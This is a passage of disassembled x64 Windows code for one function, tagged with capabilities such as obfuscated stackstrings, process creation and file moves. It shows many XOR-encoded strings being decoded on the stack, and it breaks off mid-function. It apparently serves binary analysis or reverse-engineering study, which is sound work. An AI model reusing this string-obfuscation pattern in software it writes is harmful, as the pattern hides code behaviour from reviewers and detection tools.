Function at 0x140002840
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get file attributes
Move file
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xda0]
sub rsp, 0xea0
mov rax, qword [0x140053080]
xor rax, rsp
mov qword [rbp + 0xd90], rax
mov rsi, rdx
movdqa xmm0, xmmword [0x14004c930]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x14004c920]
movdqu xmmword [rbp + 0xb88], xmm1
movdqa xmm0, xmmword [0x14004c910]
movdqu xmmword [rbp + 0xb98], xmm0
mov dword [rbp + 0xba8], 0x24767a76
mov byte [rbp + 0xbac], 0
lea rcx, [rbp + 0xb78]
call fcn.14000fb30
mov rdx, rax
lea rcx, [rbp + 0xbf0]
call fcn.14000fe90
nop
lea rcx, [rbp + 0xbf0]
call fcn.14000fe20
mov rcx, rax
call fcn.140023510
movdqa xmm0, xmmword [0x14004c950]
movdqu xmmword [rbp + 0xaf0], xmm0
movdqa xmm1, xmmword [0x14004c960]
movdqu xmmword [rbp + 0xb00], xmm1
mov dword [rbp + 0xb10], 0x7b773168
mov word [rbp + 0xb14], 0x77
lea rcx, [rbp + 0xaf0]
call fcn.14000fae0
mov rdx, rax
lea rcx, [rbp + 0xc10]
call fcn.14000fe90
nop
mov dword [rbp + 0x5c0], 0x7879783a
mov r15d, 0x7879
mov dword [rbp + 0x5c4], 0x78607801
mov ebx, 0x786a
mov r11d, 0x7860
mov dword [rbp + 0x5c8], 0x7857786a
mov dword [rbp + 0x5cc], 0x78247851
mov dword [rbp + 0x5d0], 0x7835782e
mov dword [rbp + 0x5d4], 0x78187830
mov dword [rbp + 0x5d8], 0x783f7816
mov dword [rbp + 0x5dc], 0x783c7834
mov dword [rbp + 0x5e0], 0x7827782c
mov edi, 0x7878
mov dword [rbp + 0x5e4], 0x787e7878
mov r14d, 0x787e
mov dword [rbp + 0x5e8], 0x78197811
mov dword [rbp + 0x5ec], 0x783e7826
mov dword [rbp + 0x5f0], 0x783d7835
mov dword [rbp + 0x5f4], 0x78277824
mov dword [rbp + 0x5f8], 0x78267800
mov dword [rbp + 0x5fc], 0x78397833
mov dword [rbp + 0x600], 0x783f782d
mov edx, 0x7875
mov dword [rbp + 0x604], 0x78287875
mov dword [rbp + 0x608], 0x782a7825
mov eax, 0x785f
mov word [rbp + 0x60c], ax
movzx eax, word [0x14004b9dc]
xor ax, r11w
mov word [rbp + 0x60e], ax
mov ecx, 0x7861
movzx eax, word [0x14004b9de]
xor ax, cx
mov word [rbp + 0x610], ax
mov ecx, 0x7862
movzx eax, word [str.20240913]
xor ax, cx
mov word [rbp + 0x612], ax
mov ecx, 0x7863
movzx eax, word [0x14004b9e2]
xor ax, cx
mov word [rbp + 0x614], ax
mov ecx, 0x7864
movzx eax, word [0x14004b9e4]
xor ax, cx
mov word [rbp + 0x616], ax
mov ecx, 0x7865
movzx eax, word [0x14004b9e6]
xor ax, cx
mov word [rbp + 0x618], ax
mov ecx, 0x7866
movzx eax, word [0x14004b9e8]
xor ax, cx
mov word [rbp + 0x61a], ax
mov ecx, 0x7867
movzx eax, word [0x14004b9ea]
xor ax, cx
mov word [rbp + 0x61c], ax
mov ecx, 0x7868
movzx eax, word [0x14004b9ec]
xor ax, cx
mov word [rbp + 0x61e], ax
mov ecx, 0x7869
movzx eax, word [0x14004b9ee]
xor ax, cx
mov word [rbp + 0x620], ax
movzx eax, word [str.version]
xor ax, bx
mov word [rbp + 0x622], ax
mov ecx, 0x786b
movzx eax, word [0x14004b9f2]
xor ax, cx
mov word [rbp + 0x624], ax
mov ecx, 0x786c
movzx eax, word [0x14004b9f4]
xor ax, cx
mov word [rbp + 0x626], ax
mov ecx, 0x786d
movzx eax, word [0x14004b9f6]
xor ax, cx
mov word [rbp + 0x628], ax
mov ecx, 0x786e
movzx eax, word [0x14004b9f8]
xor ax, cx
mov word [rbp + 0x62a], ax
mov ecx, 0x786f
movzx eax, word [0x14004b9fa]
xor ax, cx
mov word [rbp + 0x62c], ax
mov ecx, 0x7870
movzx eax, word [0x14004b9fc]
xor ax, cx
mov word [rbp + 0x62e], ax
mov ecx, 0x7871
movzx eax, word [0x14004b9fe]
xor ax, cx
mov word [rbp + 0x630], ax
mov ecx, 0x7872
movzx eax, word [0x14004ba00]
xor ax, cx
mov word [rbp + 0x632], ax
mov ecx, 0x7873
movzx eax, word [0x14004ba02]
xor ax, cx
mov word [rbp + 0x634], ax
mov ecx, 0x7874
movzx eax, word [0x14004ba04]
xor ax, cx
mov word [rbp + 0x636], ax
movzx eax, word [0x14004ba06]
xor ax, dx
mov word [rbp + 0x638], ax
mov ecx, 0x7876
movzx eax, word [0x14004ba08]
xor ax, cx
mov word [rbp + 0x63a], ax
mov ecx, 0x7877
movzx eax, word [0x14004ba0a]
xor ax, cx
mov word [rbp + 0x63c], ax
movzx eax, word [0x14004ba0c]
xor ax, di
mov word [rbp + 0x63e], ax
movzx eax, word [0x14004ba0e]
xor ax, r15w
mov word [rbp + 0x640], ax
mov ecx, 0x787a
movzx eax, word [0x14004ba10]
xor ax, cx
mov word [rbp + 0x642], ax
mov ecx, 0x787b
movzx eax, word [0x14004ba12]
xor ax, cx
mov word [rbp + 0x644], ax
mov ecx, 0x787c
movzx eax, word [0x14004ba14]
xor ax, cx
mov word [rbp + 0x646], ax
mov ecx, 0x787d
movzx eax, word [0x14004ba16]
xor ax, cx
mov word [rbp + 0x648], ax
movzx eax, word [0x14004ba18]
xor ax, r14w
mov word [rbp + 0x64a], ax
mov ecx, 0x787f
movzx eax, word [0x14004ba1a]
xor ax, cx
mov word [rbp + 0x64c], ax
mov ecx, 0x7880
movzx eax, word [0x14004ba1c]
xor ax, cx
mov word [rbp + 0x64e], ax
mov ecx, 0x7881
movzx eax, word [0x14004ba1e]
xor ax, cx
mov word [rbp + 0x650], ax
mov ecx, 0x7882
movzx eax, word [0x14004ba20]
xor ax, cx
mov word [rbp + 0x652], ax
mov ecx, 0x7883
movzx eax, word [0x14004ba22]
xor ax, cx
mov word [rbp + 0x654], ax
mov ecx, 0x7884
movzx eax, word [0x14004ba24]
xor ax, cx
mov word [rbp + 0x656], ax
xor eax, eax
mov word [rbp + 0x658], ax
lea rcx, [rbp + 0x5c0]
call fcn.14000f9f0
mov rdx, rax
lea rcx, [rbp + 0xc30]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xc30]
call fcn.14000fbc0
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
mov ebx, 5
cmp eax, 0xffffffff
je 0x140002d85
test al, 0x10
je 0x140002ef1
lea rcx, [rbp + 0xc10]
call fcn.14000fe20
mov rdx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rcx, [rbp + 0x50]
call fcn.14000f530
nop
cmp qword [rbp + 0xd8], 0
je 0x140002ecf
mov byte [rbp + 0x160], 0x6d
xor r8d, r8d
mov dl, 0x76
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x161], al
mov r8d, 1
mov dl, 0x65
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x162], al
mov r8d, 2
mov dl, 0x72
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x163], al
mov r8d, 3
mov dl, 0x73
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x164], al
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x165], al
mov r8, rbx
mov dl, 0x6f
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x166], al
mov r8d, 6
mov dl, 0x6e
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x167], al
mov r8d, 7
mov dl, 0x3d
lea rcx, [rbp + 0x160]
call fcn.140011080
mov byte [rbp + 0x168], al
xor eax, eax
mov byte [rbp + 0x169], al
lea rcx, [rbp + 0x160]
call fcn.14000e440
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.1400120a0
mov rcx, rax
lea rdx, str.20240913
call fcn.1400120a0
mov rcx, rax
lea rdx, [0x140012370]
call fcn.14000f990
lea rcx, [rbp + 0x50]
call fcn.14000f410
nop
lea rcx, [rbp + 0xf8]
call fcn.14000f4b0
lea rcx, [rbp + 0xf8]
call fcn.14000f9d0
mov dword [rbp + 0x3d0], 0x7c007b
mov dword [rbp + 0x3d4], 0x7a0071
mov eax, 0xc
mov word [rbp + 0x3d8], ax
movzx eax, word [0x14004ba0a]
add ax, 0xc
mov word [rbp + 0x3da], ax
movzx eax, word [0x14004ba0c]
add ax, 0xc
mov word [rbp + 0x3dc], ax
movzx eax, word [0x14004ba0e]
add ax, 0xc
mov word [rbp + 0x3de], ax
movzx eax, word [0x14004ba10]
add ax, 0xc
mov word [rbp + 0x3e0], ax
xor eax, eax
mov word [rbp + 0x3e2], ax
lea rcx, [rbp + 0x3d0]
call fcn.14000e410
mov rdx, rax
lea rcx, [rbp + 0xbd0]
call fcn.14000fcd0
nop
mov dword [rbp + 0x4e0], 0x723c724e
mov dword [rbp + 0x4e4], 0x723e723a
mov dword [rbp + 0x4e8], 0x72217230
mov eax, 0x7253
mov word [rbp + 0x4ec], ax
mov ecx, 0x7254
movzx eax, word [0x14004ba1c]
xor ax, cx
mov word [rbp + 0x4ee], ax
mov ecx, 0x7255
movzx eax, word [0x14004ba1e]
xor ax, cx
mov word [rbp + 0x4f0], ax
mov ecx, 0x7256
movzx eax, word [0x14004ba20]
xor ax, cx
mov word [rbp + 0x4f2], ax
mov ecx, 0x7257
movzx eax, word [0x14004ba22]
xor ax, cx
mov word [rbp + 0x4f4], ax
mov ecx, 0x7258
movzx eax, word [0x14004ba24]
xor ax, cx
mov word [rbp + 0x4f6], ax
xor eax, eax
mov word [rbp + 0x4f8], ax
lea rcx, [rbp + 0x4e0]
call fcn.14000e3b0
mov rdx, rax
lea rcx, [rbp + 0xd10]
call fcn.14000fcd0
nop
mov dword [rbp + 0x9e0], 0xbdb7bdf4
mov dword [rbp + 0x9e4], 0xbdaabdcf
mov dword [rbp + 0x9e8], 0xbd91bda0
mov dword [rbp + 0x9ec], 0xbd9ebd97
mov dword [rbp + 0x9f0], 0xbd8bbd94
mov dword [rbp + 0x9f4], 0xbda2bd8e
mov dword [rbp + 0x9f8], 0xbe79bdac
mov dword [rbp + 0x9fc], 0xbe76be72
mov dword [rbp + 0xa00], 0xbe69be66
mov r14d, 0xbe36
mov dword [rbp + 0xa04], 0xbe34be36
mov dword [rbp + 0xa08], 0xbe67be5b
mov dword [rbp + 0xa0c], 0xbe68be66
mov dword [rbp + 0xa10], 0xbe50be6e
mov r13d, 0xbe40
mov dword [rbp + 0xa14], 0xbe67be40
mov dword [rbp + 0xa18], 0xbe62be6c
mov dword [rbp + 0xa1c], 0xbe61be7e
mov dword [rbp + 0xa20], 0xbe72be7c
mov dword [rbp + 0xa24], 0xbe41be61
mov edi, 0xbe41
mov dword [rbp + 0xa28], 0xbe76be7e
mov dword [rbp + 0xa2c], 0xbe75be7d
mov dword [rbp + 0xa30], 0xbe6fbe6c
mov dword [rbp + 0xa34], 0xbe7bbe59
mov dword [rbp + 0xa38], 0xbe45be79
mov r11d, 0xbe45
mov dword [rbp + 0xa3c], 0xbe46be4f
mov r9d, 0xbe46
mov dword [rbp + 0xa40], 0xbe56be46
mov dword [rbp + 0xa44], 0xbe49be66
mov ebx, 0xbe49
mov dword [rbp + 0xa48], 0xbe4dbe55
mov r15d, 0xbe4d
mov dword [rbp + 0xa4c], 0xbe4fbe7a
mov dword [rbp + 0xa50], 0xbe5abe59
mov edx, 0xbe44
mov dword [rbp + 0xa54], 0xbe4dbe44
mov r8d, 0xbe4a
mov dword [rbp + 0xa58], 0xbe1ebe4a
mov r12d, 0xbe54
mov dword [rbp + 0xa5c], 0xbe4abe54
mov dword [rbp + 0xa60], 0xbe34be56
mov ecx, 0xbe35
movzx eax, word [0x14004baa2]
xor ax, cx
mov word [rbp + 0xa64], ax
movzx eax, word [0x14004baa4]
xor ax, r14w
mov word [rbp + 0xa66], ax
mov ecx, 0xbe37
movzx eax, word [0x14004baa6]
xor ax, cx
mov word [rbp + 0xa68], ax
mov ecx, 0xbe38
movzx eax, word [0x14004baa8]
xor ax, cx
mov word [rbp + 0xa6a], ax
mov ecx, 0xbe39
movzx eax, word [0x14004baaa]
xor ax, cx
mov word [rbp + 0xa6c], ax
mov ecx, 0xbe3a
movzx eax, word [0x14004baac]
xor ax, cx
mov word [rbp + 0xa6e], ax
mov ecx, 0xbe3b
movzx eax, word [0x14004baae]
xor ax, cx
mov word [rbp + 0xa70], ax
mov ecx, 0xbe3c
movzx eax, word [0x14004bab0]
xor ax, cx
mov word [rbp + 0xa72], ax
mov ecx, 0xbe3d
movzx eax, word [0x14004bab2]
xor ax, cx
mov word [rbp + 0xa74], ax
mov ecx, 0xbe3e
movzx eax, word [0x14004bab4]
xor ax, cx
mov word [rbp + 0xa76], ax
mov ecx, 0xbe3f
movzx eax, word [0x14004bab6]
xor ax, cx
mov word [rbp + 0xa78], ax
movzx eax, word [0x14004bab8]
xor ax, r13w
mov word [rbp + 0xa7a], ax
movzx eax, word [0x14004baba]
xor ax, di
mov word [rbp + 0xa7c], ax
mov ecx, 0xbe42
movzx eax, word [0x14004babc]
xor ax, cx
mov word [rbp + 0xa7e], ax
mov ecx, 0xbe43
movzx eax, word [0x14004babe]
xor ax, cx
mov word [rbp + 0xa80], ax
movzx eax, word [0x14004bac0]
xor ax, dx
mov word [rbp + 0xa82], ax
movzx eax, word [0x14004bac2]
xor ax, r11w
mov word [rbp + 0xa84], ax
movzx eax, word [0x14004bac4]
xor ax, r9w
mov word [rbp + 0xa86], ax
mov ecx, 0xbe47
movzx eax, word [0x14004bac6]
xor ax, cx
mov word [rbp + 0xa88], ax
mov ecx, 0xbe48
movzx eax, word [0x14004bac8]
xor ax, cx
mov word [rbp + 0xa8a], ax
movzx eax, word [0x14004baca]
xor ax, bx
mov word [rbp + 0xa8c], ax
movzx eax, word [0x14004bacc]
xor ax, r8w
mov word [rbp + 0xa8e], ax
mov ecx, 0xbe4b
movzx eax, word [0x14004bace]
xor ax, cx
mov word [rbp + 0xa90], ax
mov ecx, 0xbe4c
movzx eax, word [0x14004bad0]
xor ax, cx
mov word [rbp + 0xa92], ax
movzx eax, word [0x14004bad2]
xor ax, r15w
mov word [rbp + 0xa94], ax
mov ecx, 0xbe4e
movzx eax, word [0x14004bad4]
xor ax, cx
mov word [rbp + 0xa96], ax
movzx eax, word [0x14004bad6]
mov ecx, 0xbe4f
xor ax, cx
mov word [rbp + 0xa98], ax
movzx eax, word [0x14004bad8]
mov ecx, 0xbe50
xor ax, cx
mov word [rbp + 0xa9a], ax
mov ecx, 0xbe51
movzx eax, word [0x14004bada]
xor ax, cx
mov word [rbp + 0xa9c], ax
mov ecx, 0xbe52
movzx eax, word [0x14004badc]
xor ax, cx
mov word [rbp + 0xa9e], ax
mov ecx, 0xbe53
movzx eax, word [0x14004bade]
xor ax, cx
mov word [rbp + 0xaa0], ax
movzx eax, word [0x14004bae0]
xor ax, r12w
mov word [rbp + 0xaa2], ax
movzx eax, word [0x14004bae2]
mov ecx, 0xbe55
xor ax, cx
mov word [rbp + 0xaa4], ax
movzx eax, word [0x14004bae4]
mov ecx, 0xbe56
xor ax, cx
mov word [rbp + 0xaa6], ax
mov ecx, 0xbe57
movzx eax, word [0x14004bae6]
xor ax, cx
mov word [rbp + 0xaa8], ax
mov ecx, 0xbe58
movzx eax, word [0x14004bae8]
xor ax, cx
mov word [rbp + 0xaaa], ax
movzx eax, word [0x14004baea]
mov ecx, 0xbe59
xor ax, cx
mov word [rbp + 0xaac], ax
movzx eax, word [0x14004baec]
mov ecx, 0xbe5a
xor ax, cx
mov word [rbp + 0xaae], ax
movzx eax, word [0x14004baee]
mov ecx, 0xbe5b
xor ax, cx
mov word [rbp + 0xab0], ax
mov ecx, 0xbe5c
movzx eax, word [0x14004baf0]
xor ax, cx
mov word [rbp + 0xab2], ax
mov ecx, 0xbe5d
movzx eax, word [0x14004baf2]
xor ax, cx
mov word [rbp + 0xab4], ax
mov ecx, 0xbe5e
movzx eax, word [0x14004baf4]
xor ax, cx
mov word [rbp + 0xab6], ax
mov ecx, 0xbe5f
movzx eax, word [0x14004baf6]
xor ax, cx
mov word [rbp + 0xab8], ax
mov ecx, 0xbe60
movzx eax, word [0x14004baf8]
xor ax, cx
mov word [rbp + 0xaba], ax
movzx eax, word [0x14004bafa]
mov ecx, 0xbe61
xor ax, cx
mov word [rbp + 0xabc], ax
movzx eax, word [0x14004bafc]
mov ecx, 0xbe62
xor ax, cx
mov word [rbp + 0xabe], ax
mov ecx, 0xbe63
movzx eax, word [0x14004bafe]
xor ax, cx
mov word [rbp + 0xac0], ax
mov ecx, 0xbe64
movzx eax, word [0x14004bb00]
xor ax, cx
mov word [rbp + 0xac2], ax
mov ecx, 0xbe65
movzx eax, word [0x14004bb02]
xor ax, cx
mov word [rbp + 0xac4], ax
movzx eax, word [0x14004bb04]
mov ecx, 0xbe66
xor ax, cx
mov word [rbp + 0xac6], ax
movzx eax, word [0x14004bb06]
mov ecx, 0xbe67
xor ax, cx
mov word [rbp + 0xac8], ax
movzx eax, word [0x14004bb08]
mov ecx, 0xbe68
xor ax, cx
mov word [rbp + 0xaca], ax
movzx eax, word [0x14004bb0a]
mov ecx, 0xbe69
xor ax, cx
mov word [rbp + 0xacc], ax
mov ecx, 0xbe6a
movzx eax, word [0x14004bb0c]
xor ax, cx
mov word [rbp + 0xace], ax
mov ecx, 0xbe6b
movzx eax, word [0x14004bb0e]
xor ax, cx
mov word [rbp + 0xad0], ax
movzx eax, word [0x14004bb10]
mov ecx, 0xbe6c
xor ax, cx
mov word [rbp + 0xad2], ax
mov ecx, 0xbe6d
movzx eax, word [0x14004bb12]
xor ax, cx
mov word [rbp + 0xad4], ax
movzx eax, word [0x14004bb14]
mov ecx, 0xbe6e
xor ax, cx
mov word [rbp + 0xad6], ax
movzx eax, word [0x14004bb16]
mov ecx, 0xbe6f
xor ax, cx
mov word [rbp + 0xad8], ax
mov ecx, 0xbe70
movzx eax, word [0x14004bb18]
xor ax, cx
mov word [rbp + 0xada], ax
mov ecx, 0xbe71
movzx eax, word [0x14004bb1a]
xor ax, cx
mov word [rbp + 0xadc], ax
movzx eax, word [0x14004bb1c]
mov ecx, 0xbe72
xor ax, cx
mov word [rbp + 0xade], ax
mov ecx, 0xbe73
movzx eax, word [0x14004bb1e]
xor ax, cx
mov word [rbp + 0xae0], ax
mov ecx, 0xbe74
movzx eax, word [0x14004bb20]
xor ax, cx
mov word [rbp + 0xae2], ax
xor eax, eax
mov word [rbp + 0xae4], ax
lea rcx, [rbp + 0x9e0]
call fcn.14000e370
mov rdx, rax
lea rcx, [rbp + 0xb58]
call fcn.14000fcd0
nop
mov dword [rbp + 0x520], 0xe5e0e13
mov dword [rbp + 0x524], 0xe760e7d
mov dword [rbp + 0x528], 0xe780e64
mov dword [rbp + 0x52c], 0xe760e6b
mov dword [rbp + 0x530], 0xe6f0e7c
mov r15d, 0xe4b
mov dword [rbp + 0x534], 0xe740e4b
mov dword [rbp + 0x538], 0xe7b0e70
mov r12d, 0xe4f
mov dword [rbp + 0x53c], 0xe560e4f
mov r13d, 0xe51
mov dword [rbp + 0x540], 0xe670e51
mov r8d, 0xe41
mov dword [rbp + 0x544], 0xe430e41
mov r9d, 0xe43
mov dword [rbp + 0x548], 0xe490e43
mov ebx, 0xe4c
mov r11d, 0xe49
mov dword [rbp + 0x54c], 0xe4c0e4c
mov dword [rbp + 0x550], 0xe680e58
mov dword [rbp + 0x554], 0xe5f0e43
mov dword [rbp + 0x558], 0xe7c0e4b
mov r14d, 0xe55
mov dword [rbp + 0x55c], 0xe430e55
mov edx, 0xe44
mov dword [rbp + 0x560], 0xe5a0e44
mov edi, 0xe57
mov dword [rbp + 0x564], 0xe500e57
mov eax, 0xe36
mov r10d, 0xe50
mov word [rbp + 0x568], ax
mov ecx, 0xe37
movzx eax, word [0x14004baf8]
xor ax, cx
mov word [rbp + 0x56a], ax
mov ecx, 0xe38
movzx eax, word [0x14004bafa]
xor ax, cx
mov word [rbp + 0x56c], ax
mov ecx, 0xe39
movzx eax, word [0x14004bafc]
xor ax, cx
mov word [rbp + 0x56e], ax
mov ecx, 0xe3a
movzx eax, word [0x14004bafe]
xor ax, cx
mov word [rbp + 0x570], ax
mov ecx, 0xe3b
movzx eax, word [0x14004bb00]
xor ax, cx
mov word [rbp + 0x572], ax
mov ecx, 0xe3c
movzx eax, word [0x14004bb02]
xor ax, cx
mov word [rbp + 0x574], ax
mov ecx, 0xe3d
movzx eax, word [0x14004bb04]
xor ax, cx
mov word [rbp + 0x576], ax
mov ecx, 0xe3e
movzx eax, word [0x14004bb06]
xor ax, cx
mov word [rbp + 0x578], ax
mov ecx, 0xe3f
movzx eax, word [0x14004bb08]
xor ax, cx
mov word [rbp + 0x57a], ax
mov ecx, 0xe40
movzx eax, word [0x14004bb0a]
xor ax, cx
mov word [rbp + 0x57c], ax
movzx eax, word [0x14004bb0c]
xor ax, r8w
mov word [rbp + 0x57e], ax
mov ecx, 0xe42
movzx eax, word [0x14004bb0e]
xor ax, cx
mov word [rbp + 0x580], ax
movzx eax, word [0x14004bb10]
xor ax, r9w
mov word [rbp + 0x582], ax
movzx eax, word [0x14004bb12]
xor ax, dx
mov word [rbp + 0x584], ax
mov ecx, 0xe45
movzx eax, word [0x14004bb14]
xor ax, cx
mov word [rbp + 0x586], ax
mov ecx, 0xe46
movzx eax, word [0x14004bb16]
xor ax, cx
mov word [rbp + 0x588], ax
mov ecx, 0xe47
movzx eax, word [0x14004bb18]
xor ax, cx
mov word [rbp + 0x58a], ax
mov ecx, 0xe48
movzx eax, word [0x14004bb1a]
xor ax, cx
mov word [rbp + 0x58c], ax
movzx eax, word [0x14004bb1c]
xor ax, r11w
mov word [rbp + 0x58e], ax
mov ecx, 0xe4a
movzx eax, word [0x14004bb1e]
xor ax, cx
mov word [rbp + 0x590], ax
movzx eax, word [0x14004bb20]
xor ax, r15w
mov word [rbp + 0x592], ax
movzx eax, word [0x14004bb22]
xor ax, bx
mov word [rbp + 0x594], ax
mov ecx, 0xe4d
movzx eax, word [0x14004bb24]
xor ax, cx
mov word [rbp + 0x596], ax
mov ecx, 0xe4e
movzx eax, word [0x14004bb26]
xor ax, cx
mov word [rbp + 0x598], ax
movzx eax, word [0x14004bb28]
xor ax, r12w
mov word [rbp + 0x59a], ax
movzx eax, word [0x14004bb2a]
xor ax, r10w
mov word [rbp + 0x59c], ax
movzx eax, word [0x14004bb2c]
xor ax, r13w
mov word [rbp + 0x59e], ax
mov ecx, 0xe52
movzx eax, word [0x14004bb2e]
xor ax, cx
mov word [rbp + 0x5a0], ax
mov ecx, 0xe53
movzx eax, word [0x14004bb30]
xor ax, cx
mov word [rbp + 0x5a2], ax
mov ecx, 0xe54
movzx eax, word [0x14004bb32]
xor ax, cx
mov word [rbp + 0x5a4], ax
movzx eax, word [0x14004bb34]
xor ax, r14w
mov word [rbp + 0x5a6], ax
movzx eax, word [0x14004bb36]
mov ecx, 0xe56
xor ax, cx
mov word [rbp + 0x5a8], ax
movzx eax, word [0x14004bb38]
xor ax, di
mov word [rbp + 0x5aa], ax
movzx eax, word [0x14004bb3a]
mov ecx, 0xe58
xor ax, cx
mov word [rbp + 0x5ac], ax
mov ecx, 0xe59
movzx eax, word [0x14004bb3c]
xor ax, cx
mov word [rbp + 0x5ae], ax
xor eax, eax
mov word [rbp + 0x5b0], ax
lea rcx, [rbp + 0x520]
call fcn.14000e330
mov rdx, rax
lea rcx, [rbp + 0xcf0]
call fcn.14000fcd0
nop
mov r14d, 0x597d
mov dword [rbp + 0x730], 0x593e597d
mov dword [rbp + 0x734], 0x59215947
mov dword [rbp + 0x738], 0x5914592a
mov dword [rbp + 0x73c], 0x59195913
mov dword [rbp + 0x740], 0x590a5912
mov dword [rbp + 0x744], 0x5921590e
mov dword [rbp + 0x748], 0x5904592e
mov dword [rbp + 0x74c], 0x5909590e
mov dword [rbp + 0x750], 0x59105918
mov dword [rbp + 0x754], 0x594f594e
mov dword [rbp + 0x758], 0x59125921
mov dword [rbp + 0x75c], 0x591f5912
mov dword [rbp + 0x760], 0x59215918
mov dword [rbp + 0x764], 0x5913593c
mov dword [rbp + 0x768], 0x59395904
mov dword [rbp + 0x76c], 0x590e5918
mov dword [rbp + 0x770], 0x593e5916
mov dword [rbp + 0x774], 0x591c590f
mov dword [rbp + 0x778], 0x5915590e
mov dword [rbp + 0x77c], 0x591c5935
mov dword [rbp + 0x780], 0x59195913
mov dword [rbp + 0x784], 0x59185911
mov dword [rbp + 0x788], 0x5953590f
mov dword [rbp + 0x78c], 0x59055918
mov dword [rbp + 0x790], 0x597d5918
movzx eax, word [0x14004bb62]
xor ax, r14w
mov word [rbp + 0x794], ax
movzx eax, word [0x14004bb64]
xor ax, r14w
mov word [rbp + 0x796], ax
movzx eax, word [0x14004bb66]
xor ax, r14w
mov word [rbp + 0x798], ax
movzx eax, word [0x14004bb68]
xor ax, r14w
mov word [rbp + 0x79a], ax
movzx eax, word [0x14004bb6a]
xor ax, r14w
mov word [rbp + 0x79c], ax
movzx eax, word [0x14004bb6c]
xor ax, r14w
mov word [rbp + 0x79e], ax
movzx eax, word [0x14004bb6e]
xor ax, r14w
mov word [rbp + 0x7a0], ax
movzx eax, word [0x14004bb70]
xor ax, r14w
mov word [rbp + 0x7a2], ax
movzx eax, word [0x14004bb72]
xor ax, r14w
mov word [rbp + 0x7a4], ax
movzx eax, word [0x14004bb74]
xor ax, r14w
mov word [rbp + 0x7a6], ax
movzx eax, word [0x14004bb76]
xor ax, r14w
mov word [rbp + 0x7a8], ax
movzx eax, word [0x14004bb78]
xor ax, r14w
mov word [rbp + 0x7aa], ax
movzx eax, word [0x14004bb7a]
xor ax, r14w
mov word [rbp + 0x7ac], ax
movzx eax, word [0x14004bb7c]
xor ax, r14w
mov word [rbp + 0x7ae], ax
movzx eax, word [0x14004bb7e]
xor ax, r14w
mov word [rbp + 0x7b0], ax
movzx eax, word [0x14004bb80]
xor ax, r14w
mov word [rbp + 0x7b2], ax
movzx eax, word [0x14004bb82]
xor ax, r14w
mov word [rbp + 0x7b4], ax
movzx eax, word [0x14004bb84]
xor ax, r14w
mov word [rbp + 0x7b6], ax
movzx eax, word [0x14004bb86]
xor ax, r14w
mov word [rbp + 0x7b8], ax
movzx eax, word [0x14004bb88]
xor ax, r14w
mov word [rbp + 0x7ba], ax
movzx eax, word [0x14004bb8a]
xor ax, r14w
mov word [rbp + 0x7bc], ax
movzx eax, word [0x14004bb8c]
xor ax, r14w
mov word [rbp + 0x7be], ax
movzx eax, word [0x14004bb8e]
xor ax, r14w
mov word [rbp + 0x7c0], ax
movzx eax, word [0x14004bb90]
xor ax, r14w
mov word [rbp + 0x7c2], ax
movzx eax, word [0x14004bb92]
xor ax, r14w
mov word [rbp + 0x7c4], ax
movzx eax, word [0x14004bb94]
xor ax, r14w
mov word [rbp + 0x7c6], ax
movzx eax, word [0x14004bb96]
xor ax, r14w
mov word [rbp + 0x7c8], ax
movzx eax, word [0x14004bb98]
xor ax, r14w
mov word [rbp + 0x7ca], ax
movzx eax, word [0x14004bb9a]
xor ax, r14w
mov word [rbp + 0x7cc], ax
movzx eax, word [0x14004bb9c]
xor ax, r14w
mov word [rbp + 0x7ce], ax
movzx eax, word [0x14004bb9e]
xor ax, r14w
mov word [rbp + 0x7d0], ax
movzx eax, word [0x14004bba0]
xor ax, r14w
mov word [rbp + 0x7d2], ax
movzx eax, word [0x14004bba2]
xor ax, r14w
mov word [rbp + 0x7d4], ax
movzx eax, word [0x14004bba4]
xor ax, r14w
mov word [rbp + 0x7d6], ax
movzx eax, word [0x14004bba6]
xor ax, r14w
mov word [rbp + 0x7d8], ax
movzx eax, word [0x14004bba8]
xor ax, r14w
mov word [rbp + 0x7da], ax
movzx eax, word [0x14004bbaa]
xor ax, r14w
mov word [rbp + 0x7dc], ax
movzx eax, word [0x14004bbac]
xor ax, r14w
mov word [rbp + 0x7de], ax
movzx eax, word [0x14004bbae]
xor ax, r14w
mov word [rbp + 0x7e0], ax
movzx eax, word [0x14004bbb0]
xor ax, r14w
mov word [rbp + 0x7e2], ax
movzx eax, word [0x14004bbb2]
xor ax, r14w
mov word [rbp + 0x7e4], ax
movzx eax, word [0x14004bbb4]
xor ax, r14w
mov word [rbp + 0x7e6], ax
movzx eax, word [0x14004bbb6]
xor ax, r14w
mov word [rbp + 0x7e8], ax
movzx eax, word [0x14004bbb8]
xor ax, r14w
mov word [rbp + 0x7ea], ax
movzx eax, word [0x14004bbba]
xor ax, r14w
mov word [rbp + 0x7ec], ax
movzx eax, word [0x14004bbbc]
xor ax, r14w
mov word [rbp + 0x7ee], ax
movzx eax, word [0x14004bbbe]
xor ax, r14w
mov word [rbp + 0x7f0], ax
movzx eax, word [0x14004bbc0]
xor ax, r14w
mov word [rbp + 0x7f2], ax
xor eax, eax
mov word [rbp + 0x7f4], ax
lea rcx, [rbp + 0x730]
call fcn.14000e130
mov rdx, rax
lea rcx, [rbp + 0xb38]
call fcn.14000fcd0
nop
mov dword [rbp + 0x660], 0x6d9f6ddc
mov dword [rbp + 0x664], 0x6d826de7
mov dword [rbp + 0x668], 0x6d896d88
mov dword [rbp + 0x66c], 0x6d866d8f
mov dword [rbp + 0x670], 0x6d936d8c
mov dword [rbp + 0x674], 0x6dba6d96
